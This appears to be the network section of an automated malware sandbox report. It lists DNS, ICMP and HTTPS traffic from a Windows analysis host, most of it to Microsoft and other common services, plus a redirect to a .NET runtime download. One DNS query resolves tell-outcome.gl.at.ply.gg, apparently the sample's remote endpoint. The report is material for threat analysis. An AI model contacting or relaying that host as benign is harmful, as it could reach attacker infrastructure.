Nov 23, 2024 21:11:14.506855011 CET	53	63850	1.1.1.1	192.168.2.4
Nov 23, 2024 21:11:15.656096935 CET	62003	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:11:15.656356096 CET	61433	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:11:15.801733017 CET	53	61433	1.1.1.1	192.168.2.4
Nov 23, 2024 21:11:15.802223921 CET	53	62003	1.1.1.1	192.168.2.4
Nov 23, 2024 21:11:16.560082912 CET	59054	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:11:16.796106100 CET	53	59054	1.1.1.1	192.168.2.4
Nov 23, 2024 21:11:24.198973894 CET	138	138	192.168.2.4	192.168.2.255
Nov 23, 2024 21:11:25.434803963 CET	57324	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:11:25.434947968 CET	54355	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:11:28.743360043 CET	57568	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:11:28.743493080 CET	53696	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:11:28.745744944 CET	59202	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:11:28.746270895 CET	50243	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:11:29.111856937 CET	53	59202	1.1.1.1	192.168.2.4
Nov 23, 2024 21:11:29.116044044 CET	53	50243	1.1.1.1	192.168.2.4
Nov 23, 2024 21:11:31.446300983 CET	53	62198	1.1.1.1	192.168.2.4
Nov 23, 2024 21:11:36.634812117 CET	61444	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:11:36.634951115 CET	52779	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:11:36.772923946 CET	53	52779	1.1.1.1	192.168.2.4
Nov 23, 2024 21:11:36.772994995 CET	53	61444	1.1.1.1	192.168.2.4
Nov 23, 2024 21:11:39.461585999 CET	55836	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:11:39.461792946 CET	54934	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:11:39.470283985 CET	54102	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:11:39.470431089 CET	52815	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:11:39.631840944 CET	53	54934	1.1.1.1	192.168.2.4
Nov 23, 2024 21:11:39.632047892 CET	53	54102	1.1.1.1	192.168.2.4
Nov 23, 2024 21:11:39.632178068 CET	53	55836	1.1.1.1	192.168.2.4
Nov 23, 2024 21:11:39.632432938 CET	53	52815	1.1.1.1	192.168.2.4
Nov 23, 2024 21:11:42.553139925 CET	58242	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:11:42.553277016 CET	58699	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:11:42.741044044 CET	53	58699	1.1.1.1	192.168.2.4
Nov 23, 2024 21:11:42.741540909 CET	53	58242	1.1.1.1	192.168.2.4
Nov 23, 2024 21:11:43.467686892 CET	63465	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:11:43.467817068 CET	52898	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:11:43.605446100 CET	53	52898	1.1.1.1	192.168.2.4
Nov 23, 2024 21:11:43.605719090 CET	53	63465	1.1.1.1	192.168.2.4
Nov 23, 2024 21:11:50.435648918 CET	53	50530	1.1.1.1	192.168.2.4
Nov 23, 2024 21:12:10.874577999 CET	56053	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:12:10.874790907 CET	62408	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:12:11.152993917 CET	53	61800	1.1.1.1	192.168.2.4
Nov 23, 2024 21:12:13.236102104 CET	53	64080	1.1.1.1	192.168.2.4
Nov 23, 2024 21:12:16.722583055 CET	64990	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:12:16.722919941 CET	64619	53	192.168.2.4	1.1.1.1
Nov 23, 2024 21:12:41.979738951 CET	53	64953	1.1.1.1	192.168.2.4
Nov 23, 2024 21:13:26.875046968 CET	53	49418	1.1.1.1	192.168.2.4
Nov 23, 2024 21:14:40.379245996 CET	53	64458	1.1.1.1	192.168.2.4
Nov 23, 2024 21:15:24.835444927 CET	138	138	192.168.2.4	192.168.2.255

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 23, 2024 21:11:25.920402050 CET	192.168.2.4	1.1.1.1	c2c1	(Port unreachable)	Destination Unreachable
Nov 23, 2024 21:11:31.307413101 CET	192.168.2.4	1.1.1.1	c263	(Port unreachable)	Destination Unreachable
Nov 23, 2024 21:11:34.655249119 CET	192.168.2.4	1.1.1.1	c28a	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 23, 2024 21:11:11.157284021 CET	192.168.2.4	1.1.1.1	0x33de	Standard query (0)	aka.ms	65	IN (0x0001)	false
Nov 23, 2024 21:11:11.157284021 CET	192.168.2.4	1.1.1.1	0x74ed	Standard query (0)	aka.ms	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:15.656096935 CET	192.168.2.4	1.1.1.1	0xe7ff	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:15.656356096 CET	192.168.2.4	1.1.1.1	0x8181	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 23, 2024 21:11:16.560082912 CET	192.168.2.4	1.1.1.1	0x719e	Standard query (0)	tell-outcome.gl.at.ply.gg	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:25.434803963 CET	192.168.2.4	1.1.1.1	0x2b58	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:25.434947968 CET	192.168.2.4	1.1.1.1	0xf919	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 23, 2024 21:11:28.743360043 CET	192.168.2.4	1.1.1.1	0xd17	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:28.743493080 CET	192.168.2.4	1.1.1.1	0x9502	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 23, 2024 21:11:28.745744944 CET	192.168.2.4	1.1.1.1	0x7056	Standard query (0)	microsoftmscompoc.tt.omtrdc.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:28.746270895 CET	192.168.2.4	1.1.1.1	0x6574	Standard query (0)	microsoftmscompoc.tt.omtrdc.net	65	IN (0x0001)	false
Nov 23, 2024 21:11:36.634812117 CET	192.168.2.4	1.1.1.1	0xc8ed	Standard query (0)	w.usabilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:36.634951115 CET	192.168.2.4	1.1.1.1	0x4149	Standard query (0)	w.usabilla.com	65	IN (0x0001)	false
Nov 23, 2024 21:11:39.461585999 CET	192.168.2.4	1.1.1.1	0x1bd	Standard query (0)	w.usabilla.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:39.461792946 CET	192.168.2.4	1.1.1.1	0x483a	Standard query (0)	w.usabilla.com	65	IN (0x0001)	false
Nov 23, 2024 21:11:39.470283985 CET	192.168.2.4	1.1.1.1	0xef30	Standard query (0)	d6tizftlrpuof.cloudfront.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:39.470431089 CET	192.168.2.4	1.1.1.1	0x8512	Standard query (0)	d6tizftlrpuof.cloudfront.net	65	IN (0x0001)	false
Nov 23, 2024 21:11:42.553139925 CET	192.168.2.4	1.1.1.1	0x1f08	Standard query (0)	d6tizftlrpuof.cloudfront.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:42.553277016 CET	192.168.2.4	1.1.1.1	0xf0c4	Standard query (0)	d6tizftlrpuof.cloudfront.net	65	IN (0x0001)	false
Nov 23, 2024 21:11:43.467686892 CET	192.168.2.4	1.1.1.1	0x91cb	Standard query (0)	d6tizftlrpuof.cloudfront.net	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:43.467817068 CET	192.168.2.4	1.1.1.1	0x621b	Standard query (0)	d6tizftlrpuof.cloudfront.net	65	IN (0x0001)	false
Nov 23, 2024 21:12:10.874577999 CET	192.168.2.4	1.1.1.1	0xd058	Standard query (0)	westus2-0.in.applicationinsights.azure.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:12:10.874790907 CET	192.168.2.4	1.1.1.1	0xd06a	Standard query (0)	westus2-0.in.applicationinsights.azure.com	65	IN (0x0001)	false
Nov 23, 2024 21:12:16.722583055 CET	192.168.2.4	1.1.1.1	0x893e	Standard query (0)	westus2-0.in.applicationinsights.azure.com	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:12:16.722919941 CET	192.168.2.4	1.1.1.1	0x9e76	Standard query (0)	westus2-0.in.applicationinsights.azure.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 23, 2024 21:11:11.391241074 CET	1.1.1.1	192.168.2.4	0x74ed	No error (0)	aka.ms		2.23.205.167	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:14.262501955 CET	1.1.1.1	192.168.2.4	0xd713	No error (0)	dotnetwebsite.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:14.506700039 CET	1.1.1.1	192.168.2.4	0x9d9b	No error (0)	dotnetwebsite.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:14.506700039 CET	1.1.1.1	192.168.2.4	0x9d9b	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:14.506700039 CET	1.1.1.1	192.168.2.4	0x9d9b	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:15.801733017 CET	1.1.1.1	192.168.2.4	0x8181	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 23, 2024 21:11:15.802223921 CET	1.1.1.1	192.168.2.4	0xe7ff	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:16.796106100 CET	1.1.1.1	192.168.2.4	0x719e	No error (0)	tell-outcome.gl.at.ply.gg		147.185.221.24	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:25.573082924 CET	1.1.1.1	192.168.2.4	0x2b58	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:25.573082924 CET	1.1.1.1	192.168.2.4	0x2b58	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:25.573082924 CET	1.1.1.1	192.168.2.4	0x2b58	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:25.573082924 CET	1.1.1.1	192.168.2.4	0x2b58	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:25.920327902 CET	1.1.1.1	192.168.2.4	0xf919	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:25.920327902 CET	1.1.1.1	192.168.2.4	0xf919	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:28.883342981 CET	1.1.1.1	192.168.2.4	0xd17	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:28.883342981 CET	1.1.1.1	192.168.2.4	0xd17	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:28.883342981 CET	1.1.1.1	192.168.2.4	0xd17	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:28.883342981 CET	1.1.1.1	192.168.2.4	0xd17	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:28.885051012 CET	1.1.1.1	192.168.2.4	0x9502	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:28.885051012 CET	1.1.1.1	192.168.2.4	0x9502	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:29.111856937 CET	1.1.1.1	192.168.2.4	0x7056	No error (0)	microsoftmscompoc.tt.omtrdc.net	adobetarget.data.adobedc.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:29.111856937 CET	1.1.1.1	192.168.2.4	0x7056	No error (0)	adobetarget.data.adobedc.net		66.235.152.156	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:29.111856937 CET	1.1.1.1	192.168.2.4	0x7056	No error (0)	adobetarget.data.adobedc.net		66.235.152.225	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:29.111856937 CET	1.1.1.1	192.168.2.4	0x7056	No error (0)	adobetarget.data.adobedc.net		66.235.152.221	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:29.112832069 CET	1.1.1.1	192.168.2.4	0x58d6	No error (0)	microsoftmscompoc.tt.omtrdc.net	adobetarget.data.adobedc.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:29.112832069 CET	1.1.1.1	192.168.2.4	0x58d6	No error (0)	adobetarget.data.adobedc.net		66.235.152.156	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:29.112832069 CET	1.1.1.1	192.168.2.4	0x58d6	No error (0)	adobetarget.data.adobedc.net		66.235.152.225	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:29.112832069 CET	1.1.1.1	192.168.2.4	0x58d6	No error (0)	adobetarget.data.adobedc.net		66.235.152.221	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:29.116044044 CET	1.1.1.1	192.168.2.4	0x6574	No error (0)	microsoftmscompoc.tt.omtrdc.net	adobetarget.data.adobedc.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:29.121772051 CET	1.1.1.1	192.168.2.4	0x8210	No error (0)	microsoftmscompoc.tt.omtrdc.net	adobetarget.data.adobedc.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:31.127660036 CET	1.1.1.1	192.168.2.4	0x254d	No error (0)	dotnetwebsite.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:31.127660036 CET	1.1.1.1	192.168.2.4	0x254d	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:31.127660036 CET	1.1.1.1	192.168.2.4	0x254d	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:31.129017115 CET	1.1.1.1	192.168.2.4	0x6b91	No error (0)	dotnetwebsite.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:31.402157068 CET	1.1.1.1	192.168.2.4	0xb34e	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:31.538794994 CET	1.1.1.1	192.168.2.4	0x986a	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:31.538794994 CET	1.1.1.1	192.168.2.4	0x986a	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:31.538794994 CET	1.1.1.1	192.168.2.4	0x986a	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:34.254138947 CET	1.1.1.1	192.168.2.4	0x77d5	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:34.254138947 CET	1.1.1.1	192.168.2.4	0x77d5	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:34.254138947 CET	1.1.1.1	192.168.2.4	0x77d5	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:34.263175964 CET	1.1.1.1	192.168.2.4	0x3074	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:11:34.455940008 CET	1.1.1.1	192.168.2.4	0xbf87	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:34.455940008 CET	1.1.1.1	192.168.2.4	0xbf87	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:36.772994995 CET	1.1.1.1	192.168.2.4	0xc8ed	No error (0)	w.usabilla.com		52.208.202.206	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:36.772994995 CET	1.1.1.1	192.168.2.4	0xc8ed	No error (0)	w.usabilla.com		54.171.242.81	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:36.772994995 CET	1.1.1.1	192.168.2.4	0xc8ed	No error (0)	w.usabilla.com		34.255.43.229	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:39.632047892 CET	1.1.1.1	192.168.2.4	0xef30	No error (0)	d6tizftlrpuof.cloudfront.net		108.158.71.127	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:39.632047892 CET	1.1.1.1	192.168.2.4	0xef30	No error (0)	d6tizftlrpuof.cloudfront.net		108.158.71.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:39.632047892 CET	1.1.1.1	192.168.2.4	0xef30	No error (0)	d6tizftlrpuof.cloudfront.net		108.158.71.31	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:39.632047892 CET	1.1.1.1	192.168.2.4	0xef30	No error (0)	d6tizftlrpuof.cloudfront.net		108.158.71.51	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:39.632178068 CET	1.1.1.1	192.168.2.4	0x1bd	No error (0)	w.usabilla.com		54.171.242.81	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:39.632178068 CET	1.1.1.1	192.168.2.4	0x1bd	No error (0)	w.usabilla.com		52.208.202.206	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:39.632178068 CET	1.1.1.1	192.168.2.4	0x1bd	No error (0)	w.usabilla.com		34.255.43.229	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:42.741540909 CET	1.1.1.1	192.168.2.4	0x1f08	No error (0)	d6tizftlrpuof.cloudfront.net		108.158.71.51	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:42.741540909 CET	1.1.1.1	192.168.2.4	0x1f08	No error (0)	d6tizftlrpuof.cloudfront.net		108.158.71.31	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:42.741540909 CET	1.1.1.1	192.168.2.4	0x1f08	No error (0)	d6tizftlrpuof.cloudfront.net		108.158.71.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:42.741540909 CET	1.1.1.1	192.168.2.4	0x1f08	No error (0)	d6tizftlrpuof.cloudfront.net		108.158.71.127	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:43.605719090 CET	1.1.1.1	192.168.2.4	0x91cb	No error (0)	d6tizftlrpuof.cloudfront.net		108.158.71.166	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:43.605719090 CET	1.1.1.1	192.168.2.4	0x91cb	No error (0)	d6tizftlrpuof.cloudfront.net		108.158.71.31	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:43.605719090 CET	1.1.1.1	192.168.2.4	0x91cb	No error (0)	d6tizftlrpuof.cloudfront.net		108.158.71.127	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:11:43.605719090 CET	1.1.1.1	192.168.2.4	0x91cb	No error (0)	d6tizftlrpuof.cloudfront.net		108.158.71.51	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:12:11.835014105 CET	1.1.1.1	192.168.2.4	0xd06a	No error (0)	westus2-0.in.applicationinsights.azure.com	westus2-0.in.ai.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:12:11.835014105 CET	1.1.1.1	192.168.2.4	0xd06a	No error (0)	westus2-0.in.ai.monitor.azure.com	westus2-0.in.ai.privatelink.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:12:11.835014105 CET	1.1.1.1	192.168.2.4	0xd06a	No error (0)	westus2-0.in.ai.privatelink.monitor.azure.com	gig-ai-prod-westus2-0.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:12:11.835114956 CET	1.1.1.1	192.168.2.4	0xd058	No error (0)	westus2-0.in.applicationinsights.azure.com	westus2-0.in.ai.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:12:11.835114956 CET	1.1.1.1	192.168.2.4	0xd058	No error (0)	westus2-0.in.ai.monitor.azure.com	westus2-0.in.ai.privatelink.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:12:11.835114956 CET	1.1.1.1	192.168.2.4	0xd058	No error (0)	westus2-0.in.ai.privatelink.monitor.azure.com	gig-ai-prod-westus2-0.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:12:16.866889000 CET	1.1.1.1	192.168.2.4	0x893e	No error (0)	westus2-0.in.applicationinsights.azure.com	westus2-0.in.ai.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:12:16.866889000 CET	1.1.1.1	192.168.2.4	0x893e	No error (0)	westus2-0.in.ai.monitor.azure.com	westus2-0.in.ai.privatelink.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:12:16.866889000 CET	1.1.1.1	192.168.2.4	0x893e	No error (0)	westus2-0.in.ai.privatelink.monitor.azure.com	gig-ai-prod-westus2-0.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:12:16.868791103 CET	1.1.1.1	192.168.2.4	0x9e76	No error (0)	westus2-0.in.applicationinsights.azure.com	westus2-0.in.ai.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:12:16.868791103 CET	1.1.1.1	192.168.2.4	0x9e76	No error (0)	westus2-0.in.ai.monitor.azure.com	westus2-0.in.ai.privatelink.monitor.azure.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:12:16.868791103 CET	1.1.1.1	192.168.2.4	0x9e76	No error (0)	westus2-0.in.ai.privatelink.monitor.azure.com	gig-ai-prod-westus2-0.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

aka.ms

dotnet.microsoft.com

fs.microsoft.com

slscr.update.microsoft.com

https:

js.monitor.azure.com

wcpstatic.microsoft.com

w.usabilla.com

d6tizftlrpuof.cloudfront.net

otelrules.azureedge.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	2.23.205.167	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:13 UTC	746	OUT	GET /dotnet-core-applaunch?missing_runtime=true&arch=x64&rid=win10-x64&apphost_version=6.0.35&gui=true HTTP/1.1 Host: aka.ms Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:13 UTC	533	IN	HTTP/1.1 301 Moved Permanently Content-Length: 0 Server: Kestrel Location: https://dotnet.microsoft.com/get-dotnet/dotnet-core?missing_runtime=true&arch=x64&rid=win10-x64&apphost_version=6.0.35&gui=true Request-Context: appId=cid-v1:d94c0f68-64bf-4036-8409-a0e761bb7ee1 X-Response-Cache-Status: True Expires: Sat, 23 Nov 2024 20:11:13 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 23 Nov 2024 20:11:13 GMT Connection: close Strict-Transport-Security: max-age=31536000 ; includeSubDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:16 UTC	761	OUT	GET /get-dotnet/dotnet-core?missing_runtime=true&arch=x64&rid=win10-x64&apphost_version=6.0.35&gui=true HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:17 UTC	415	IN	HTTP/1.1 302 Found Date: Sat, 23 Nov 2024 20:11:16 GMT Content-Length: 0 Connection: close Location: https://dotnet.microsoft.com/download/dotnet/6.0/runtime?cid=getdotnetcore&runtime=desktop&os=windows&arch=x64 Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET x-azure-ref: 20241123T201116Z-178bfbc474bwh9gmhC1NYCy3rs000000050000000000bfgv X-Cache: CONFIG_NOCACHE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	2.23.161.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:17 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 20:11:18 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=220928 Date: Sat, 23 Nov 2024 20:11:18 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49742	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
